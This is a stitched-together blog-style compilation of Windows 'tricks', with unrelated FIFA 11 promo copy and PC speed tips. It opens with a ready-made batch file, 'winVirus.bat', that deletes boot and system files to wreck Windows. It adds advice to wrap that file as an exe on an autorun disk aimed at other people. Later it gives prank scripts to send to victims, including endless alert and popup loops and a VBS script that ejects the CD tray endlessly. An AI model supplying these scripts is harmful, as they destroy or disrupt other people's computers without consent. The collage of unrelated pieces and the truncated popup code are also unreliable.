I assume you know the basics about batch files before reading this post. Batch files are used to run a dos command without opening command prompt window. You can run many dos commands using a single batch file. This post will show you some batch files which can corrupt your Windows OS. You can also say that these batch files can work like a virus. So be careful and do not try it in your computer.

• Autoexec.bat
• Ntldr
• Boot.ini
• Win.ini

These files are very important and necessary for any Windows operating system. So if you want to corrupt Windows of any person, you have to delete these four files from the computer.
Open notepad and copy the following statements :

@echo off 
attrib -r -s -h c:\autoexec.bat 
del c:\autoexec.bat 
attrib -r -s -h c:\boot.ini 
del c:\boot.ini 
attrib -r -s -h c:\ntldr 
del c:\ntldr 
attrib -r -s -h c:\windows\win.ini 
del c:\windows\win.ini 

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe converter and make an autorun disk of it. When someone uses the disk, autorun will execute itself and command generated by the batch file will corrupt the windows.

• For your own privacy purposes or say it for security reasons you can Create A Hidden User Account under windows xp/7 operating system. 

• This tweak will easily allow you an account that is normally displayed on the Welcome screen to be hidden from view. To log on using that hidden account it is necessary to use the Log On To Windows dialog box similar to the one that in Windows 2000.

 1. [Start] [Run] [Regedit]
 
2. Registry Key: HKEY_LOCAL_MACHINE \SOFTWARE\ Microsoft\ WindowsNT\ CurrentVersion\ Winlogon\ SpecialAccounts\ UserList

3. Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.

4. Data Type: REG_DWORD [Dword Value] // Value Name: Type Name of Account to be Hidden

5. Setting for Value Data: [0 = Account is Hidden / 1 = Enabled]

6. Exit Registry and Reboot...

While the account is hidden on the Welcome screen, note that the account profile will be visible in C:\Documents and Settings or wherever user profiles are stored as well as in Local Users and Groups.

Here are some most commonly used javascript tricks and they are extremely useful sometimes.

1. Persistent Alert Box

This JavaScript is one of many where the function repeats itself within itself, so it never ends when you click "OK" on the alert box. Just type this in any browser and hit enter, replacing YOUR MESSAGE with the message you want to be displayed.

javascript:function MakWasHere() { alert("YOUR MESSAGE"); MakWasHere(); } MakWasHere();

2. A fluttering of popup windows - Works best in Internet Explorer!

Some versions of Firefox or Chrome will just open new tabs if not configured properly (You can change this setting in their Preferences), and thus making the easiest way to stop the trick by Alt + F4'ing. In IE, (especially versions before IE7), you're running a never-ending loop of popup windows.
Popup blockers will usually not suppress this command since the user is running it directly.
Run this from the address bar, replacing the URL with any URL you want:

MakOpenIt();} MakOpenIt();

Continuously pop out your friend’s CD Drive. If he / she has more than one, it pops out all of them! By seeing the below image I hope you will understand what the below crazy script actually does.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as “cdtray.VBS” and send it.

1. Open any web page in your browser.
2. Delete everything in the address bar.
3. Copy the following javascript and paste it in the address bar:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

NOtice: To stop the effect , just refresh the web page ( press the F5 button on the keyboard)

When installing Window 7 you get an option to choose your language, timescale and currency. This then installs a set of Windows themes and wallpapers preset for the language you chose.
What you may not know is that you can find on your PC how to install the other wallpapers and themes that don’t come with the set you chose.
I am going to show you the way to install these so you can enjoy the most out of Windows 7 themes and wallpapers.

1. Click Start menu, in the search bar type  C:\Windows\Globalization\MCT.

2. You will be shown a list of subfolders which will open up in Windows Explorer. In each folder there will be a set of different wallpapers for each different Country. For example, MCT-AU would be Australia MCT-CA would be for Canada and so on. Choose the Country of the themes you would like to use, go into the folder, select a them you would like and double click.

3. This should now have installed a shortcut for the selected theme in the Personalization section of Control Panel and can be used in the same way you use your other themes, by right clicking the desktop and clicking personalize and choosing the theme of your choice.
Enjoy!

 (IT WILL NOT HARM YOUR SYSTEM)

A simple way to hack a website and laugh with your friends.

 FIFA 11 reinvents player authenticity – on and off the ball – for every player and at every position on the pitch with Personality+, an all-new feature that sees individual abilities reflected in game, enabling clear differentiation for every player.
With Personality+ a footballer’s abilities on the pitch is mirrored authentically in game, creating individual personalities. Players will be distinguished from one another through a sophisticated database that evaluates and grades each player’s skill-set over 36 attributes and 57 traits, compiled by 1700 scouts around the world. Real Madrid’s Kaka will deliver crisp, creative passes, Barcelona’s Andres Iniesta will utilize tighter turns and close control to dribble through defenses, Manchester United’s Wayne Rooney will hold off defenders and strike shots from distance with pace, and top-flight defenders like Giorgio Chiellini of Juventus will anticipate, predict and react to offensive players to win back possession.
Goalkeepers have also been injected with Personality+. The real-life personality of the keeper, whether acrobatic or traditional, will dictate his style in game. Dive attributes will determine the keepers with the ability to reach for further shots while reflex attributes determine reaction times, so a keeper like Petr Cech of Chelsea FC will show be able to showcase world-class skills.
Building on the FIFA 10 gameplay that won 50 sports game of the year awards, FIFA 11 introduces new Pro Passing where pass accuracy is determined by a gamer’s ability on the control pad, and player skill, situation and urgency on the pitch, yielding a deeply rewarding passing system. Plus, a series of new customization tools will enable fans to transform FIFA 11 in new and personally meaningful ways. Assign customized chants for every team and league and play music tracks from your existing library from within the game.

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

Now your acrobat reader will load very fast and almost as good as notepad.

2. Drivers: Update your hardware drivers as frequently as possible.  New drivers tend to increase system speed especially in the case of graphics cards, their drivers are updated by the manufacturer very frequently!

3. Minimizing: If you want to use several programs at the same time then minimize those you are not using.  This helps reduce the overload on RAM.

4. Boot Faster: The 'starting Windows 98/XP' message on startup can delay your booting for a couple of seconds.  To get rid of this message go to c:\ and find the file Msdos.sys.  Remove the Read-Only option.  Next, open it in Notepad or any other text editor.  Finally, go to the text 'Options' within the file and make the following changes: Add BootDelay=0.  To make your booting even faster, set add Logo=0 to remove the Windows logo at startup.

5. Restart only Windows: When restarting your PC, hold down Shift to only restart Windows rather than the whole system which will only take a fraction of the time.

6. Turn Off Animations:  Go to Display Settings from the Control Panel and switch to the Effects Tab. Now turn off Show Windows Content While Dragging and Smooth Edges on Screen Fonts.  This tip is also helpful with Windows XP because of the various fade/scroll effects.

7. Faster Start-Menu Access: Go to the Start menu and select Run.  Now type Regedit and hit Enter.  The Registry Editor will appear on the screen.  Now, open the folder HKEY_CURRENT_USER\Control Panel\Desktop.  You should see a MenuShowDelay value.  If you don't then do the following: right click on a blank space in the right pane and select New\String.  Change the name in the new value to MenuShowDelay.  Now that we have the MenuShowDelay value, double click on it and enter 0 in the value data field.  This sets the start menu delay to 0 milliseconds.

9. Turn off Active Desktop:  Go to your Display Properties and switch to the Web tab.  Uncheck View My Active Desktop As a Web Page.  Since the Active Desktop option under Windows 98 uses a lot of system resources, this option can have a dramatic effect on the speed of the whole system.

11. Take your PC to Bed:  Using the Advanced Power Management feature under Windows 98 gives you the option to use the sleep command.  That way, you can send your PC to sleep instead of shutting it down and then restarting it.  It's as simple as pressing a button and then pressing the same button to wake it up.  You can tell Windows after how many minutes/hours of inactivity to automatically sleep the machine in the Advanced Power Management section of the Control Panel.

13. Benchmarking: Benchmarking can be very useful when run frequently.  It can tell you how your PC's components are performing and then compare them to other machines like yours.  For example, when you overclock your PC, you want to know how much more speed you have and whether it is stable.  All this and more can be discovered using benchmarking.  An excellent piece of software for doing this job is SiSoft Sandra which can be found in the Downloads File Archive!

14. Refresh the Taskbar without restarting: If you in some way change the taskbar, either in Regedit or elsewhere, you can refresh the task bar without restarting.  Hold down Ctrl Alt Del, and double click on Explorer.  Say Yes to close Explorer, but no to closing Windows.  This will refresh the Taskbar and system tray.

15. Quick CD Eject: Instead of pushing the button on your drive, right-click your CD drive letter in My Computer and click on Eject.  This will also remove any icons that have become associated with the CD drive.

 

16. Start Up Programs:  Windows can be slowed down when programs run on start up.  To eliminate this, check your Start up folder.  You can access it from the start menu: Start, Programs, Start Up.  Another way to eliminate programs from loading even before Windows actually starts is by doing the following: Click on Start, then Run.  Type msconfig.  It will take quite a long time for this program to load, but when you finally see it on your screen, explore the different tabs.  They all have to do with how quickly your PC boots, so select what you want, and uncheck what you don't want!

17. Fonts: When Windows starts, it loads every single font in the Fonts folder.  Therefore, the more fonts you have, the slower the booting process.  To get rid of unwanted fonts, simply go to the Fonts folder under c:\windows and remove whatever you don't want.  Fonts that have a red letter 'A' as their icon are system fonts, so don't delete them.

18. Stretching Wallpapers:  Don't "stretch" your wallpaper in Windows 98 since it actually slows Windows down when you drag icons around on the desktop.

19. RAM Matters: If you have less than 32MB then you should seriously think of upgrading it to at least 64MB.  Windows runs much more smoothly with 64MB or higher and tends to use less hard disk space for virtual memory.

20. Partitioning: A very nice little thing you can do to boost system performance.  By partitioning your hard drive, splitting one physical drive into several logical ones, you can gain several advantages.  1. If you get a virus or you accidentally format a drive, not all will be lost.  2. By placing the swap file (Win386.swp) on a separate drive, The swap file will be less fragmented and thus, faster. 3. Place Windows on a separate drive and whenever you need to reinstall it, you rest assured that your data is safe on a separate drive.  Partitioning can be done using a few programs such as FDisk which comes with DOS.  However, FDisk formats everything on the hard disk before partitioning. Alternatively, you can use Partition Magic from Power Quest to partition your hard disk without losing your data.
